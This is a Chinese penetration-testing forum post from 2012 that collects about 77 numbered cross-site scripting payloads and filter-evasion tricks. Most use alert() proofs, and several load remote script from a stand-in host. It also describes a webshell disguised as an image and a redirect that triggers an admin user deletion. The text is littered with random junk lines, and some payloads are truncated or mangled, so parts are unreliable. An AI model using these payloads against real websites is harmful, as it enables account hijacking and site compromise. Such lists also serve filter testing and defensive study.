中国网络渗透测试联盟
标题:
xss详细利用大全1
[打印本页]
作者:
admin
时间:
2012-9-13 17:04
标题:
xss详细利用大全1
跨站图片shell
+ f' {* |8 j1 k& p! [( _. Y
XSS跨站代码 <script>alert("")</script>
( Z; L# d/ ~2 W( O7 F/ T; h# Z
3 i$ s5 k$ Z8 i
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
9 U+ P5 D' I+ R( K& D. K( _: e
4 V b4 d2 L/ p0 H& m1 I
$ R, E" C* b y+ D, V
7 j4 W; N" Y; M; ^
1)普通的XSS JavaScript注入
: V9 d# e" P4 ^5 V
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
9 h3 o/ p9 E% E3 ^! J1 W7 ~4 U
) e. S; {) ] o, \; X7 |" j
(2)IMG标签XSS使用JavaScript命令
) \& J5 Z5 X- C7 _- T9 S' R% T
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
7 ?8 x7 O6 P: ~/ M% f( T
! }5 t' ~! Y1 ]
(3)IMG标签无分号无引号
5 h7 z2 n) r: E( p
<IMG SRC=javascript:alert(‘XSS’)>
6 b! G, @8 A; W7 Q* R' H! I0 J- c1 C
4 i. |: Q0 E1 C9 N7 G7 `$ ^
(4)IMG标签大小写不敏感
; A, Y) d9 y6 I1 A, x
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
) S7 j% H' H2 A0 _! f/ i
2 F6 e% g4 ~9 m4 y1 C2 x! j
(5)HTML编码(必须有分号)
' g! b! H) w% n, X
<IMG SRC=javascript:alert(“XSS”)>
7 G% ~& r$ r5 L% A& a. b( ^' L
6 J. _9 p2 a- ~: F8 ?% A; h
(6)修正缺陷IMG标签
# _3 I7 X% [, d% ^
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
+ j! M7 F3 d( f
( G# i' y5 s1 E4 D0 s$ ~5 L
(7)formCharCode标签(计算器)
0 L& v! Y$ Z% Y1 {+ |# I
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
3 \+ C {6 j/ T3 O" {& J
7 ~% g/ s9 \: b0 R0 G2 X ~/ N% |0 y
(8)UTF-8的Unicode编码(计算器)
' p- O( n4 `! O3 I! p! b
<IMG SRC=jav..省略..S')>
, [+ M( K, m! {/ p
1 m* _% O5 `5 R+ M5 Z0 w
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
6 A5 X7 h, n1 p$ a' C8 Q- R
<IMG SRC=jav..省略..S')>
+ w( g+ Y6 H7 I5 C
4 Z( V+ g G4 \# h6 b! ^
(10)十六进制编码也是没有分号(计算器)
; t/ } w5 O/ X8 X0 D: ~9 ?/ G
<IMG SRC=java..省略..XSS')>
( Z: }5 }" i1 a
3 N/ T* A; K j7 j, `
(11)嵌入式标签,将Javascript分开
+ r0 X6 I3 T$ e
<IMG SRC=”jav ascript:alert(‘XSS’);”>
' V; k/ C& d3 \; j0 n. _
: i$ E0 L7 J4 e8 o, j5 X9 p
(12)嵌入式编码标签,将Javascript分开
' @% o$ Q7 a2 ?4 F; J
<IMG SRC=”jav ascript:alert(‘XSS’);”>
( E3 B a/ g0 B$ O0 o
% o* r |, s$ \1 v5 G) P; j% Q. C: o
(13)嵌入式换行符
2 E9 q) a7 J4 q" \. x& z- ]1 {
<IMG SRC=”jav ascript:alert(‘XSS’);”>
& Y; L6 A7 o7 i: n E* ~, `1 ?6 t
4 \/ _2 R+ u' F
(14)嵌入式回车
9 c5 n0 _8 ]) o9 K5 s
<IMG SRC=”jav ascript:alert(‘XSS’);”>
4 M4 c: ?( @' G0 c; c
' ~ A$ K% [$ i5 r% V- S
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
6 J4 s1 B% J r) E+ ^' a1 w- ?9 m
<IMG SRC=”javascript:alert(‘XSS‘)”>
X2 J: J5 u: h& h
! y$ n) V9 `: b( T. u% j
(16)解决限制字符(要求同页面)
6 a) g7 W' T; j$ z$ ?) @
<script>z=’document.’</script>
' {& S: f& V3 Q' H4 \0 Q5 a- p' z, i
<script>z=z+’write(“‘</script>
, i. G9 ^0 `' P" m8 g0 C5 i
<script>z=z+’<script’</script>
9 J, Z" M D, n9 a( m0 w
<script>z=z+’ src=ht’</script>
$ E: {3 H% t+ U" ?/ M" C' m
<script>z=z+’tp://ww’</script>
7 U; L$ J! p& h! Y4 G C
<script>z=z+’w.shell’</script>
. F6 _6 X# L) g7 ?
<script>z=z+’.net/1.’</script>
- C: s2 k% D2 v! h# l5 w
<script>z=z+’js></sc’</script>
9 t x* n( ]9 |3 n1 n: k
<script>z=z+’ript>”)’</script>
2 n' q$ L2 [1 o# y
<script>eval_r(z)</script>
6 M- F% K) g, L$ `7 Q$ Q8 g! Q! z
/ e- ~4 B) A7 z
(17)空字符
) V+ C" a1 h" p5 l2 }+ e4 m$ P E
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
. g: ^6 {: @1 G1 s
+ Z9 t0 f% @: s
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
5 x+ K1 m) ~; ^
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
, `4 R. r9 o. M5 ]( j5 X
) `6 z$ l, S! k5 V3 e
(19)Spaces和meta前的IMG标签
3 I; R& m/ V5 n+ V6 X3 m; Q
<IMG SRC=” javascript:alert(‘XSS’);”>
0 c4 M: Z x8 C9 B/ S0 f* y
/ } n1 }1 X$ W1 ^( a& ]- t
(20)Non-alpha-non-digit XSS
; W5 ~9 S3 a/ }
<SCRIPT/XSS SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
- C7 ~6 H+ ]* p) o' ^
4 O+ m8 F' Z/ b3 P0 V2 n
(21)Non-alpha-non-digit XSS to 2
8 ?7 V- J+ U0 `5 N `0 i9 H
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
) y* D. E9 n8 t6 o7 q g+ Z; ^: V
! X/ h) D' d( `# q/ \+ g' n" h
(22)Non-alpha-non-digit XSS to 3
2 S/ F4 d9 y; X. N& T
<SCRIPT/SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
& i6 ?8 j2 x r2 l+ z# R1 X
9 l: F4 W, {4 d
(23)双开括号
1 C/ T- H: z! X. w, Y) I2 j) {
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
0 r: Q; o6 N* i2 s
$ p; I- ], s$ x5 {2 r( s' Z
(24)无结束脚本标记(仅火狐等浏览器)
- s$ Q N2 b' a n
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
$ K0 M: V$ W. T! h6 x
3 T% v# M& N ~6 O3 G& V: R% o- \
(25)无结束脚本标记2
5 f$ m& g7 ^0 R6 S
<SCRIPT SRC=//3w.org/XSS/xss.js>
! A$ @( x1 V; z Y, \- e6 Y9 {1 M
# j1 ^' |9 C8 g' q4 T/ u9 }' g
(26)半开的HTML/JavaScript XSS
: s* J3 W) q; A+ Y: D
<IMG SRC=”javascript:alert(‘XSS’)”
+ T$ k- |& F: [
: k* ~& C8 a5 {* D$ x" L: }! T
(27)双开角括号
- [) `" I( J1 ?$ u1 ^' ^0 w3 ~
<iframe src=http://3w.org/XSS.html <
( a3 n- q# Z! q
% \, x: a! e3 b2 [8 U, z2 d0 S
(28)无单引号 双引号 分号
6 P+ ]. Z% q- p2 m- t7 B
<SCRIPT>a=/XSS/
7 q1 R. a& Y# G: b/ b; m0 v9 W
alert(a.source)</SCRIPT>
. B" N5 f. N* Q: C* L9 ^, N4 M4 Z. r
# B1 H1 {1 `. J d# N6 d+ j
(29)换码过滤的JavaScript
* L9 I+ j6 }, W
\”;alert(‘XSS’);//
4 J" A) ?! A8 E6 s$ i! Q Q# d7 ?
8 o$ a1 s7 N9 C3 P
(30)结束Title标签
# v$ A- a+ r8 {4 I( B( X
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
1 r1 k: A l/ u2 \& s4 G
2 `$ ~% I. @( b6 f4 g- c" D
(31)Input Image
2 y- C% z0 _# |' F2 @: B% o1 S
<INPUT SRC=”javascript:alert(‘XSS’);”>
8 j' s% P1 [1 G, N3 A
+ x/ I$ b6 U' x8 g
(32)BODY Image
$ V: M- E, U* Q |1 D: ]
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
( o1 Q( u, B9 U
$ f$ ?. O4 Z8 _) [0 k) Z
(33)BODY标签
& u$ L& Q5 T p" j' \
<BODY(‘XSS’)>
8 t( j" r4 F) |2 I! H
% j" b$ w: \& Y
(34)IMG Dynsrc
: [4 `2 i6 a) g5 J4 s5 g8 m( |$ U
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
- H5 N& D! {, g
/ p+ Z$ R1 k3 O5 c5 e
(35)IMG Lowsrc
3 b8 l3 `& r/ {, }. V
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
2 K- S2 U6 V" w/ G1 q
. D7 H M: R* d# T, p9 ^, c! v
(36)BGSOUND
, X: [0 o3 T. O, G
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
( M6 L1 n- Z' I9 q
3 {* k, g! A' T
(37)STYLE sheet
9 F/ t" c; E/ d! s
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
* Q4 W8 M+ d5 b6 I9 o7 X
9 o9 P( b y/ G6 D2 q
(38)远程样式表
2 u2 u! i% M, }2 S" @2 n! L! @& ]
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
8 P/ p# D1 ^: `: @: U$ J' e* f/ N
4 h9 K) i# ?% d9 Z. {- C
(39)List-style-image(列表式)
8 K$ ?1 B$ q2 N" g
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
" {2 h/ ~7 o% V8 M5 m. q3 v
5 [+ d, B% ]% e
(40)IMG VBscript
4 O; @1 z( k( V! {5 P) Q, @
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
5 }: _$ C6 m3 R! {2 @1 J- W
" T' ?5 K# u* t9 a/ y& n
(41)META链接url
4 L8 h0 W3 A6 G! Q
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
( `! v! Q) \0 K* g' j
& s/ S; k# O, J
(42)Iframe
7 @' g) j! t/ \7 Z: y' v0 g( @
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
9 g1 _8 w5 z3 n& p8 j
(43)Frame
1 P+ P) J6 v% `% y! d
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
3 ?5 H0 C$ g+ [0 v: D/ y
/ _ n! g' I8 X6 p) V7 E1 A! p
(44)Table
3 W+ ?1 `- t) R+ T
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
( Q+ W ~% m7 {* G. ^
9 }4 L9 Y5 y! T- [2 Q
(45)TD
1 t5 \) [% e6 h: T% \' @
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
; J* w+ f( n+ @: B) }
8 F- L& ^2 f; W
(46)DIV background-image
9 L5 |4 p- U4 c% F# b
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
3 e! h: D7 _$ O# [0 v( \" p
X! a' `) X) V' Q' Y% }
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
( r9 u5 b; O& v3 N- d5 A
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
' C, s" N x5 _2 a
8 x- n' [, f' {) z7 A) b
(48)DIV expression
: a6 n" s" `) x6 L# _& L. G$ v! L. r. J
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
& |3 A/ s1 ?( w; K; U
# d+ l+ u3 {! O# z- H( _- c) ^
(49)STYLE属性分拆表达
5 Q; B% \1 ~: v I0 \
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
( k6 ~7 A9 N# Q4 n+ m0 Z
2 `) X k' N4 X& [1 B! F# _
(50)匿名STYLE(组成:开角号和一个字母开头)
/ M7 U2 H3 [8 l+ Q# E x
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
9 B( b5 @! q5 A% V
1 C B; n: ]8 b9 P7 F# j
(51)STYLE background-image
" q0 }% [/ j& `
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
5 W4 x0 M1 L* t1 v- y$ I' s8 w# l
( b6 S+ d: J ~- B, Y) Y2 J% N
(52)IMG STYLE方式
8 } S0 p& D# s' l
exppression(alert(“XSS”))’>
' J. T, j6 W! c" o
1 Y- z! _* A( Q; ? B$ u1 X. a1 A
(53)STYLE background
9 T# P3 Z2 A d( u7 y6 W- M
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
; k1 j! d( I0 i8 _ b. K
1 U1 b) A2 e9 R& G) r" i
(54)BASE
* ]0 b9 l* W# h
<BASE HREF=”javascript:alert(‘XSS’);//”>
! B0 d+ F0 b' H; R; H# f
5 O8 V6 o0 n; ]1 w) g. N
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
8 P* m% Z+ B) N* b$ q
<EMBED SRC=”
http://3w.org/XSS/xss.swf
” ></EMBED>
# B, {- |5 R7 _" V; Q
) G1 c& @7 @. d" J$ P" O$ j
(56)在flash中使用ActionScrpt可以混进你XSS的代码
2 O h, i/ p9 y9 V3 d
a=”get”;
# `5 @: i$ |2 z+ g
b=”URL(\”";
& Z* G2 O; D2 U, o+ g2 O& K
c=”javascript:”;
7 ?# K* J- T$ u
d=”alert(‘XSS’);\”)”;
, T2 S1 F& ?6 l5 W
eval_r(a+b+c+d);
1 V& z" K$ Q/ n( I" r: b6 h- ^! ~, z
9 s( v- N! q5 l" D, r/ f3 t
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
; l% o2 m+ x( H/ H+ U; z; Z
<HTML xmlns:xss>
9 d+ N- X2 l4 Z' {& z1 H) p
<?import namespace=”xss” implementation=”
http://3w.org/XSS/xss.htc
”>
3 | x) N9 d3 p6 @2 Q% o5 v, x
<xss:xss>XSS</xss:xss>
1 V- n s- @1 v- Y
</HTML>
/ Y9 M% K* @+ H `5 P
7 P, |# R) F- P \
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
7 {8 O! X2 [; q) F
<SCRIPT SRC=””></SCRIPT>
4 A; e7 Z# q; n- Q8 l3 h% W
8 ?* W+ o6 e; u0 V/ v
(59)IMG嵌入式命令,可执行任意命令
$ t0 z. @: b) ?: G. g+ r
<IMG SRC=”
http://www.XXX.com/a.php?a=b
”>
! J0 |0 c2 L" ^7 Q- }9 V7 d0 N
7 a8 d, r) H7 M; F$ V! U
(60)IMG嵌入式命令(a.jpg在同服务器)
" `( U6 Z" \( O! p# O$ ~& L
Redirect 302 /a.jpg
http://www.XXX.com/admin.asp&deleteuser
* j2 p: d, o9 B& \) l
3 q' R8 H6 q" i, f7 J
(61)绕符号过滤
2 A% {# k( S8 X; v6 S' b1 S. d
<SCRIPT a=”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
0 ]/ v6 |. m; I6 d+ S4 m0 n8 e0 K
9 J! B( w& j+ W
(62)
; \0 @3 R4 v6 q% i/ l; s* ]1 @) [, y4 ^
<SCRIPT =”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
0 \( J, P- B, ?! i, Y+ H
0 t/ b4 I9 Y: q) [1 S
(63)
# q7 X+ Z3 A# U+ {6 |' I/ H
<SCRIPT a=”>” ” SRC=”
http://3w.org/xss.js
”></SCRIPT>
4 b" v1 j' }. Q2 q6 A
& `4 l# t. k: F+ l# u! O2 F
(64)
2 V; u$ }* a I* J: Y/ m
<SCRIPT “a=’>’” SRC=”
http://3w.org/xss.js
”></SCRIPT>
( A8 `; c. Y1 [) T% L
7 M6 _8 x9 j- p2 `( ?6 z
(65)
" |1 T+ _" ]: L" a
<SCRIPT a=`>` SRC=”
http://3w.org/xss.js
”></SCRIPT>
6 S: e' l# l! g q% T
) k" ?- l. i' [+ ~
(66)
% ~& N0 _: n7 F$ }
<SCRIPT a=”>’>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
) I4 w) D! f1 e6 X1 s4 I9 U
& A6 [* o, p. @2 q
(67)
$ H2 J. }7 ^' }
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”
http://3w.org/xss.js
”></SCRIPT>
6 {+ A& K3 S6 b3 I( m1 \2 I; G8 O
. I! M5 O. i6 m) D2 t+ l& a
(68)URL绕行
/ ^- ~/ e! y4 J) y6 h
<A HREF=”
http://127.0.0.1/
”>XSS</A>
) d# f2 R' G! _; b# w
7 V! Q/ O/ r% u* h# H
(69)URL编码
7 N! j9 U. Q6 S6 H1 P: f
<A HREF=”
http://3w.org
”>XSS</A>
$ X) u( Y. \, H X) S& F
4 O& c% U3 x! R8 |# R: |
(70)IP十进制
, ~& }2 n# z; z: |& b
<A HREF=”http://3232235521″>XSS</A>
+ a' o6 T2 X- p, |( ^) z' |
% s% j' t8 p! @& d
(71)IP十六进制
7 D, T+ V$ }) F
<A HREF=”
http://0xc0.0xa8.0
×00.0×01″>XSS</A>
1 q6 _" a7 j2 S, x2 r# K
' }9 E5 o" k8 ?* C( J6 O2 B
(72)IP八进制
* }( C& J+ o3 U8 R4 ^1 H
<A HREF=”
http://0300.0250.0000.0001
″>XSS</A>
; `, T5 l6 o# s+ W* d- j( v
# E1 {! \ x0 y7 R
(73)混合编码
! a2 ]# a/ ?8 y5 \
<A HREF=”h
, v8 w% R" g7 d$ q$ ^, ~
tt p://6 6.000146.0×7.147/”">XSS</A>
1 y4 h) ?" b7 G& S* _
1 [3 C* g1 P7 F9 K
(74)节省[http:]
' e9 b3 S. [# d5 z
<A HREF=”//www.google.com/”>XSS</A>
5 ^+ T5 t& g; E* `% G# r+ e
! l/ m G/ ^" F2 l9 `% v8 ]
(75)节省[www]
3 F6 E: y6 ?+ e6 ?
<A HREF=”
http://google.com/
”>XSS</A>
7 m Q+ b$ Z) O# a- u# ~) N
3 x( ~# J& e& q. Q) P. x- m
(76)绝对点绝对DNS
5 n, {" _. y- [4 \1 q! f
<A HREF=”
http://www.google.com./
”>XSS</A>
8 W1 p$ d) @) t/ P- V2 s) s
6 Q& b$ t3 f% h2 B2 ~
(77)javascript链接
: E, G h% ]: X: ]9 }3 s
<A HREF=”javascript:document.location=’
http://www.google.com/
’”>XSS</A>
: K/ ? p+ i5 t7 B
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2